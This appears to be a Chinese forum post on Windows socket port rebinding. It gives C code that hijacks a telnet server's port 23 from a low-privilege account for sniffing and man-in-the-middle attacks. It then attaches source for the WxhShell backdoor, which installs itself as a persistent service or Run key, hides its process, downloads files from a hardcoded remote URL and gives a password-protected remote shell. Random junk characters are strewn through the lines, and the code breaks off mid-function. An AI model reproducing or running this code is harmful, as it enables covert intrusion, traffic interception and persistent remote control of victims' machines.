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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q}.zE+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >U?HXu/TJr  
cyu)YxT  
  saddr.sin_family = AF_INET; Z:7X=t =  
YaI8hj@}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yyCx;  
f-!t31?XK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7UM!<@9\  
WtlPgT;wE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9,g &EnvG  
I[E/)R{\  
  这意味着什么?意味着可以进行如下的攻击: IWbW=0IsS  
OT/*|Pn9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8JvF4'zx  
0kEz i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I`"B<=zi  
ANgfG8>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  (o`"s~)  
vd+yU9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?+EN.P[;3  
eTVI.B@p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G4DuqN~2m  
sY,q*}SLD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $$QbcnOf$  
2\ 3}y(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (NPDgR/  
Pt<lHfd  
  #include 5R 6@A?vr  
  #include ETQ.A< v  
  #include H3< `  
  #include    DY]\@<ez  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;`ZGiax  
  int main() Id-?her>B  
  { aI @&x  
  WORD wVersionRequested; TXx%\V_6  
  DWORD ret; B]jI^( P  
  WSADATA wsaData; cu&tdg^q  
  BOOL val; --Dd'  
  SOCKADDR_IN saddr; T 9lk&7W  
  SOCKADDR_IN scaddr; A'(v]w  
  int err; U-+%e:v  
  SOCKET s; uEp v l  
  SOCKET sc; n$>E'oG2 t  
  int caddsize; v"x{oD$R  
  HANDLE mt; zSs5F_  
  DWORD tid;   #IH7WaN  
  wVersionRequested = MAKEWORD( 2, 2 ); B1\@ n$  
  err = WSAStartup( wVersionRequested, &wsaData ); nU]4)t_o\  
  if ( err != 0 ) { Zr!he$8(2  
  printf("error!WSAStartup failed!\n"); (W.euQy  
  return -1; r[ 2N;U  
  } GWP;; x%  
  saddr.sin_family = AF_INET; ,":l >0P[  
   %) A-zzj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d3 h^L  
i^hgs`hvU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qSj$0Hq5XI  
  saddr.sin_port = htons(23); p_z_d6?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZUE?19GA  
  { -26GOS_8z  
  printf("error!socket failed!\n"); T/8*c0mU  
  return -1; 9n][#I)a3  
  } :m|%=@]`  
  val = TRUE; 7vBB <\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C/nzlp~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QC+oSb!!?  
  { <cTusC<  
  printf("error!setsockopt failed!\n"); 40VdT|n$$  
  return -1; tg%U 2+.q  
  } Y>eypfK"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fG;(&Dx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'MEO?]Tf.^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?V|t7^+:  
b.jxkx\nt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,XmTKO c  
  { NNUm=g^  
  ret=GetLastError(); G[U'-a}I  
  printf("error!bind failed!\n"); C+/D!ZH%P  
  return -1; O{" A3f  
  } {eR,a-D!7  
  listen(s,2); d9/YW#tm  
  while(1) Y)% CxaO `  
  { !Pmv  
  caddsize = sizeof(scaddr); )KvQaC  
  //接受连接请求 m*VM1kV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1EW-%GQO  
  if(sc!=INVALID_SOCKET) S&BJR!FQ  
  { 3e)3t`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v6{qKpU#  
  if(mt==NULL) UnjUA!v  
  { I<Vh Eo,  
  printf("Thread Creat Failed!\n"); -QaS/WO_  
  break; y@!kp*0  
  } E3N4(V\*  
  } HRF4 Ro  
  CloseHandle(mt); VU>s{_|{  
  } mtEE,O!+  
  closesocket(s); 8YI.f  
  WSACleanup(); ^FLuhLS\*  
  return 0; 7 R1;'/;  
  }   8.vPh  
  DWORD WINAPI ClientThread(LPVOID lpParam) GvQ|+vC  
  { 5S:&^ A<  
  SOCKET ss = (SOCKET)lpParam; .MO"8}]8Z  
  SOCKET sc; |0Kj0u8T  
  unsigned char buf[4096]; Q!DQ!;Br6  
  SOCKADDR_IN saddr; m4:b?[  
  long num; -B\`O*Q  
  DWORD val; @nN+F,phx  
  DWORD ret; h 9V9.'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #+Lo&%p#3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h#bpog  
  saddr.sin_family = AF_INET; 1a {~B#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "yMr\jt~-  
  saddr.sin_port = htons(23); 6"Tr$E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 64s9Dy@%F  
  { ~g2ColFhu  
  printf("error!socket failed!\n"); ~mUP!f  
  return -1; |L{<=NNs:D  
  } GXaCH))TO  
  val = 100; B^(0>Da\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LyA=(h6  
  { l'N>9~f  
  ret = GetLastError(); UQz8":#V  
  return -1; tYt/m6h  
  } qIQvix$8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;F@dN,Y  
  { |N[SCk>Kj  
  ret = GetLastError(); &o/&T{t}  
  return -1; 1 sCF -r  
  } CORNN8=k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !ViHC}:   
  { d>F=|dakL  
  printf("error!socket connect failed!\n"); ff"Cl p  
  closesocket(sc); zqAK|jbL  
  closesocket(ss); whP>'9t.w  
  return -1; (E)/' sEb  
  } Xmy(pV!PF  
  while(1) c Xcn}gKV  
  { 8}p5MG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yS/ovd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r8C6bFYM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %>cc%(POO  
  num = recv(ss,buf,4096,0); Uc e#v)  
  if(num>0) `xbk)oW#  
  send(sc,buf,num,0); )|/t}|DIx  
  else if(num==0) /= P!9d {  
  break; h B<.u  
  num = recv(sc,buf,4096,0); Y VTY{>Q  
  if(num>0) C<A82u;t%@  
  send(ss,buf,num,0); }}~ ^!  
  else if(num==0) K)GC&%_$O  
  break; Cg 85  
  } o <LA2 q`T  
  closesocket(ss); ~I/7{B|yX  
  closesocket(sc); B dm<<<  
  return 0 ; n[WXIE<  
  } J8a4.prqI  
[AR$Sw60  
D8W:mAGEu  
========================================================== I_xJ[ALdm  
y)U8\  
下边附上一个代码,,WXhSHELL O3*Vilx  
-tx)7KV-  
========================================================== qd3B>f  
@6.1EK0  
#include "stdafx.h" )@Xdr0  
7 pg8kq@  
#include <stdio.h> ' 7>}I{Lq  
#include <string.h> =]7|*-  
#include <windows.h> ]5td,2E C  
#include <winsock2.h> +C\?G/  
#include <winsvc.h> KnZm(c9+  
#include <urlmon.h> pM[UC{  
u4o%qK  
#pragma comment (lib, "Ws2_32.lib") #:Cr'U  
#pragma comment (lib, "urlmon.lib") 0y'34}  
..;LU:F  
#define MAX_USER   100 // 最大客户端连接数 (B]Vw+/  
#define BUF_SOCK   200 // sock buffer l%B1JGu*F  
#define KEY_BUFF   255 // 输入 buffer %8 cFzyE*  
Tjure]wQz  
#define REBOOT     0   // 重启 *Gu Cv3|  
#define SHUTDOWN   1   // 关机 ~2A<fL,-  
iO#H_&L.p  
#define DEF_PORT   5000 // 监听端口 iCk34C7  
biGaP#"0  
#define REG_LEN     16   // 注册表键长度 GLc+`,.  
#define SVC_LEN     80   // NT服务名长度 ?h>mrj  
oB9Fas!N  
// 从dll定义API !9iVe7V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,`+y4Z6`W2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RW>Z~Nj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ? dSrY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v-G(bw3  
X+ iA"B  
// wxhshell配置信息 f$V']dOj1q  
struct WSCFG { x+yt| &B  
  int ws_port;         // 监听端口 5bmtUIj  
  char ws_passstr[REG_LEN]; // 口令 )IZ$R*Y{  
  int ws_autoins;       // 安装标记, 1=yes 0=no # FaR?L![Y  
  char ws_regname[REG_LEN]; // 注册表键名 !;CY @=  
  char ws_svcname[REG_LEN]; // 服务名 a3Es7R+S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $ Qg81mu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V^L;Nw5h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HdWghxz?)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =#%e'\)a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #3u8BLy$Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =K8`[iH  
D zDt:.JZ  
}; y L&n)   
WHAEB1c#Q  
// default Wxhshell configuration f.+e  
struct WSCFG wscfg={DEF_PORT, l`$f@'k  
    "xuhuanlingzhe", {!oO>t  
    1, Y]8l]l 1  
    "Wxhshell", 9zO;sg;3  
    "Wxhshell", kV6>O C&^  
            "WxhShell Service", {AIZ,  
    "Wrsky Windows CmdShell Service", Bfw>2  
    "Please Input Your Password: ", P!bm$h*3?  
  1, , is .{ y  
  "http://www.wrsky.com/wxhshell.exe", VdK-2O(.-  
  "Wxhshell.exe" o'Tqqrr  
    }; >y]YF3?  
:X`J1E]Rjd  
// 消息定义模块 &2?kD{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zP=J5qOZ8  
char *msg_ws_prompt="\n\r? for help\n\r#>";  2 H^9Qd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _\o +9X!  
char *msg_ws_ext="\n\rExit."; }3[ [ONA  
char *msg_ws_end="\n\rQuit."; ol`]6"Sc  
char *msg_ws_boot="\n\rReboot..."; ^Gs!"Y  
char *msg_ws_poff="\n\rShutdown..."; kf5921(P  
char *msg_ws_down="\n\rSave to "; iQa Q"s  
2? !b!  
char *msg_ws_err="\n\rErr!"; 7^Onq0ym T  
char *msg_ws_ok="\n\rOK!"; O~aS&g/sf  
&a:>P>\  
char ExeFile[MAX_PATH]; nh9K(  
int nUser = 0;  pd X9G  
HANDLE handles[MAX_USER]; dwx1 EdJ{  
int OsIsNt; 9,,v 0tE  
;#xhlR* ~  
SERVICE_STATUS       serviceStatus; $h_@`j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n}MG  
L7Skn-*tnA  
// 函数声明 mbS &>  
int Install(void); T 86}^=-5  
int Uninstall(void); PS=crU@"H  
int DownloadFile(char *sURL, SOCKET wsh); ,sLV6DM  
int Boot(int flag); VJr?` eY4  
void HideProc(void); A0[flIl  
int GetOsVer(void); Y}f%/vus  
int Wxhshell(SOCKET wsl); U_I'Nz!^ t  
void TalkWithClient(void *cs); = )(;  
int CmdShell(SOCKET sock); FP9ZOoog  
int StartFromService(void); ]i$CE|~  
int StartWxhshell(LPSTR lpCmdLine); J::SFu=  
q(uu;l[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'mmyzsQ \6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o-)E_X  
iSFgFJG^  
// 数据结构和表定义 +Tu:zCv.  
SERVICE_TABLE_ENTRY DispatchTable[] = -@#AQ\  
{ 9U;) [R Mb  
{wscfg.ws_svcname, NTServiceMain}, Q6vkqu5!=  
{NULL, NULL} 5Vvy:<.la  
}; ,:z@Ji  
s@3!G+ -}  
// 自我安装 hUl FP  
int Install(void) g" M1HxlV  
{ yr;oq(&N  
  char svExeFile[MAX_PATH]; DTr0u}m  
  HKEY key; i,bFe&7J  
  strcpy(svExeFile,ExeFile); 9CL&tpqv f  
?NHh=H\7u  
// 如果是win9x系统,修改注册表设为自启动 1^$Io}o:S  
if(!OsIsNt) { e94csTh=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aX  ?ON  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~KX!i 8+X  
  RegCloseKey(key); IPT}JX'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { St(7@)gvY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s}HTxY;  
  RegCloseKey(key); zizrc.g/Yg  
  return 0; 0q62{p7  
    } +5T0]!  
  } E26ZVFg  
} 1[}VyP6 e  
else { @7BH`b$)!  
ke/o11LP  
// 如果是NT以上系统,安装为系统服务 f 8uVk|a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^R2:Z&Iv%  
if (schSCManager!=0) !J6k\$r  
{ Crey}A/N  
  SC_HANDLE schService = CreateService 4z$ eT  
  ( b9\=NdyCY  
  schSCManager, lR-4"/1|y  
  wscfg.ws_svcname, 8`*`4m  
  wscfg.ws_svcdisp, r<b g->lX  
  SERVICE_ALL_ACCESS, isDr|g$S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sjzZl*GSy  
  SERVICE_AUTO_START,  kU#$  
  SERVICE_ERROR_NORMAL, P|64wq{B8  
  svExeFile, 0,VbB7 z  
  NULL, thq(tK7  
  NULL, %_/_klxnO  
  NULL, ?EtK/6dJZt  
  NULL, B6ys 5eQ  
  NULL duwZe+  
  ); $%!]tNGS  
  if (schService!=0) -$mzzYH  
  { <GR]A|P  
  CloseServiceHandle(schService); ,D#~%kq~  
  CloseServiceHandle(schSCManager); t(s']r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5$9j&&R  
  strcat(svExeFile,wscfg.ws_svcname); rgOB0[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sM-k,0z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EnfSVG8kB8  
  RegCloseKey(key); 2P]rJ  
  return 0; fw-LZ][  
    } Pw+cpM 8<  
  } 7DT9\BT  
  CloseServiceHandle(schSCManager); o{ U= f6  
} DuCq16'0T  
} :MJTmpq,  
T@f$w/15  
return 1; &}*[-z  
} 3lLO.  
! WQEv_G@  
// 自我卸载 /oh[ Nu1D  
int Uninstall(void) 0] 5QX/I  
{ Z}XA (;ck  
  HKEY key; jgukW7H  
FVHEb\Z  
if(!OsIsNt) { HPu nNsA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k2O==IG]6  
  RegDeleteValue(key,wscfg.ws_regname); sdrE4-zd  
  RegCloseKey(key); QhN5t/Hr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Knn$<!>  
  RegDeleteValue(key,wscfg.ws_regname); M<Eg<*  
  RegCloseKey(key); Nhuw8Xv  
  return 0; J/ 4kS<c  
  } Pc1vf]  
} HbV[L)zYG  
} k}JjSt1_A;  
else { Q?Q!D+~mND  
^gD&NbP8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wl}Q|4rZ  
if (schSCManager!=0) _d,_&7  
{ EK[~lIXg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "-\I?k  
  if (schService!=0) hoPCbjkov  
  { 2}hEBw68  
  if(DeleteService(schService)!=0) { 9D-PmSnv  
  CloseServiceHandle(schService); `43E-'g  
  CloseServiceHandle(schSCManager); \vpUl  
  return 0; -R| v&h%T  
  } !.kj-==s{7  
  CloseServiceHandle(schService); _PQQ&e)E  
  } PYW~x@]k%,  
  CloseServiceHandle(schSCManager); {QJJw}!#  
} td{$ c6  
} [&"`2n  
SmC91XO  
return 1; kOeW,:&65  
} o5A@U0c_  
T&cf6soo  
// 从指定url下载文件 1XL^Zhr  
int DownloadFile(char *sURL, SOCKET wsh) MT}9T  
{ ;5dJ5_}  
  HRESULT hr; s}X2*o`,  
char seps[]= "/"; 05$CIS>!  
char *token; z GA1  
char *file; 8,=,'gFO  
char myURL[MAX_PATH]; #sN]6  
char myFILE[MAX_PATH]; #8rLB(  
>pUR>?t"  
strcpy(myURL,sURL); CKy' 8I9  
  token=strtok(myURL,seps); 8)/d8@  
  while(token!=NULL) J?LetyDNr]  
  { MBp%TX!  
    file=token; 0.=dOz r  
  token=strtok(NULL,seps); N-y[2]J90  
  } "V}WV!w  
|!,;IoZ  
GetCurrentDirectory(MAX_PATH,myFILE); F7x]BeTM  
strcat(myFILE, "\\"); Z`T]jm-3  
strcat(myFILE, file); =YOq0  
  send(wsh,myFILE,strlen(myFILE),0); 5$d>:" >  
send(wsh,"...",3,0); :tdN#m6&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #8i DM5:EQ  
  if(hr==S_OK) !%?O`+r  
return 0; *3d+ !#;rG  
else :[kfWai#(  
return 1; GO2mccIB  
ot($aY,t  
} @j=:V!g2O  
_h6SW2:z!E  
// 系统电源模块 "A6m-xE~  
int Boot(int flag) QVJq%P  
{ ,` 6O{Z~  
  HANDLE hToken; oIrO%v:'!  
  TOKEN_PRIVILEGES tkp; e];lDa#4-Y  
";yey]  
  if(OsIsNt) { u0zF::  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q HaH=g%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @IhC:Yc  
    tkp.PrivilegeCount = 1; lE'3UqK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,)@njC?J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uGOED-@  
if(flag==REBOOT) { 3:C)1q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g[';1}/B4  
  return 0; %<8`(Uu5  
} SMoJKr(:w#  
else { ' Dcj\=8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >mJH@,F:  
  return 0; q=(% ]BK  
} & %A&&XT9  
  } 6I2` oag  
  else { eu={6/O  
if(flag==REBOOT) { `Y O(C<r-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Pm&hv*D  
  return 0; : e1kpQ  
} V^Y'!w\LGI  
else { 2[j(C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UE8j8U'L  
  return 0; @GUlw[vi  
} ZP{<f~;  
} +`,;tz=?  
7zM9K+3L  
return 1; HxSq &j*F  
} ~jC+6v  
];xDXQd  
// win9x进程隐藏模块 qYoB;gp  
void HideProc(void) ^G|* =~_  
{ vMd3#@  
o1`\*]A7J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I+=+ ,iXhB  
  if ( hKernel != NULL ) b:Z&;A|"{  
  { A:y HClmn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3P@D!lV&K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5skxixG  
    FreeLibrary(hKernel); m ww<Xm'  
  } vAp<Muj(a  
<qg4Rz\c]  
return; J 2<kOXXJ9  
} ijsoY\V50  
p8Z?R^$9H  
// 获取操作系统版本 pHT]2e#  
int GetOsVer(void) sYjhQN=Y*  
{ jr,N+K(@T  
  OSVERSIONINFO winfo; jc!m; U t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CYRZ2Yrk?"  
  GetVersionEx(&winfo); U0gZf5;*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #u}%r{T  
  return 1; t0+i ]lr  
  else K!]a+M]>  
  return 0; k&2=-qgVR  
} * xCY^_  
h PL]B_<  
// 客户端句柄模块 }R`Rqg-W  
int Wxhshell(SOCKET wsl) (+c1.h  
{ ],_+J *  
  SOCKET wsh; )/?H]o$NU  
  struct sockaddr_in client; Aa=:AkrH  
  DWORD myID; AdVc1v&>  
q.p.$)  
  while(nUser<MAX_USER) ,jOJ\WXP  
{ 8[;vC$  
  int nSize=sizeof(client); ,DZvBS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <+k"3r{y"  
  if(wsh==INVALID_SOCKET) return 1; |>yWkq   
8l_M 0F ,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J$Z=`=] t+  
if(handles[nUser]==0) 2]1u0-M5L  
  closesocket(wsh); U.KQjBi  
else rUpe  ;c  
  nUser++; baBBn %_V  
  } L RVcf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l%T4:p4e  
RWc<CQcL"  
  return 0; #~!"`B?#*  
} T]\c2U  
TP"cEfs x  
// 关闭 socket 3w</B- |nQ  
void CloseIt(SOCKET wsh) ;h\T7pwwb  
{ wqhktgG  
closesocket(wsh); ,Klv[_x7  
nUser--; =}vT>b  
ExitThread(0); "|h%Uy?XY  
} C,An\lsT  
nq)F$@  
// 客户端请求句柄 ;%9]G|*{  
void TalkWithClient(void *cs) R|C 2O[r}  
{ U}LW8886  
=eDIvNps  
  SOCKET wsh=(SOCKET)cs; * :O"R  
  char pwd[SVC_LEN]; `&M,B=E  
  char cmd[KEY_BUFF]; sU"%,Q5  
char chr[1]; H_X^)\oJ  
int i,j; B1V{3  
-}#HaL#'K  
  while (nUser < MAX_USER) { ")T\_ME  
LWyr  
if(wscfg.ws_passstr) { g w" \pD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N-gYamlQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u.|Z3=?VG  
  //ZeroMemory(pwd,KEY_BUFF); !R=@Nr>  
      i=0; M2O_kO eZ  
  while(i<SVC_LEN) { q.c)>=!.  
 Y !?'[t  
  // 设置超时 W6&vyOc  
  fd_set FdRead; _!nsEG VV  
  struct timeval TimeOut; [ QiG0D_'=  
  FD_ZERO(&FdRead); H"#ITL  
  FD_SET(wsh,&FdRead); f#\YX tR,k  
  TimeOut.tv_sec=8; &EfQ%r}C  
  TimeOut.tv_usec=0; l~6K}g?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }d<R 5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7uF|Z(  
7;s#QqG`I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y()" 2CCV  
  pwd=chr[0]; f8Iddm#  
  if(chr[0]==0xd || chr[0]==0xa) { Nc;O)K!FH  
  pwd=0; 8R,<S-+v  
  break; p49]{2GXb  
  } =V[uXm  
  i++; ~SnUnNDm`  
    } j*jUcD *  
Z!)~?<gcq:  
  // 如果是非法用户,关闭 socket ilA45@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0NXH449I=  
} m Qj=-\p  
l4OrlS/5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >]\I:T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c.ow4~>  
i[o 2(d,  
while(1) { Z0F~?  
,#K/+T  
  ZeroMemory(cmd,KEY_BUFF); n0xGIq  
Oynb "T&8  
      // 自动支持客户端 telnet标准   `*C=R  _  
  j=0; +$h  
  while(j<KEY_BUFF) { [_,as  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~HZdIPcC  
  cmd[j]=chr[0]; [9 W@<p  
  if(chr[0]==0xa || chr[0]==0xd) { Smr{+m a  
  cmd[j]=0; 3v/B*M VI  
  break; OT9]{|7  
  } rtV`Q[E  
  j++; KK){/I=z  
    } &mwd0%4  
E/P~HE{  
  // 下载文件 O>~,RI!  
  if(strstr(cmd,"http://")) { <+`%=r)4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .%zcm  
  if(DownloadFile(cmd,wsh)) !@xO]Jwv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vy\Vpp  
  else l<6u@,%s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @(3F4Z.i%.  
  } }LzBo\  
  else { Dac)`/  
b 7UJ  
    switch(cmd[0]) { z p E|  
  apvcWF%  
  // 帮助 eS`VI+=@0  
  case '?': { ]A*}Dem*5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q7 BbST+  
    break; fB+L%+mr8  
  } {&  o^p!  
  // 安装 t" .Ytz>  
  case 'i': { BVQy@:K/  
    if(Install()) xa>| k>I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~b f\fPm  
    else LdPLC':}x|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ql*zl  
    break; wA) Hot  
    } Lc3&\q e  
  // 卸载 8-q^.<9  
  case 'r': { C]`uC^6g  
    if(Uninstall()) 2jsbg{QS#_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <W4F`6`x  
    else )t6]F6!_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,YYEn^:>  
    break; I6>J.6luF9  
    } RK3y q$  
  // 显示 wxhshell 所在路径 $l7^-SK`E  
  case 'p': { 64s;EC  
    char svExeFile[MAX_PATH]; AK:cDKBO  
    strcpy(svExeFile,"\n\r"); o[|[xuTm  
      strcat(svExeFile,ExeFile); 8bIP"!=*W  
        send(wsh,svExeFile,strlen(svExeFile),0); k]b*&.EY1  
    break; TdtV (  
    } 2]>O ZhS  
  // 重启 zM'eqo>!c>  
  case 'b': { ^Q6J$"Tj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N]<(cG&p  
    if(Boot(REBOOT)) vQAFgG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FFHq':v  
    else { :^;c(>u{  
    closesocket(wsh); e+ xQ\LH  
    ExitThread(0); 9!FX *}dC  
    } !jCgTo y  
    break; i?00!t  
    } / f%mYL  
  // 关机 yI0bSu<j-  
  case 'd': { jc^QWK*q  
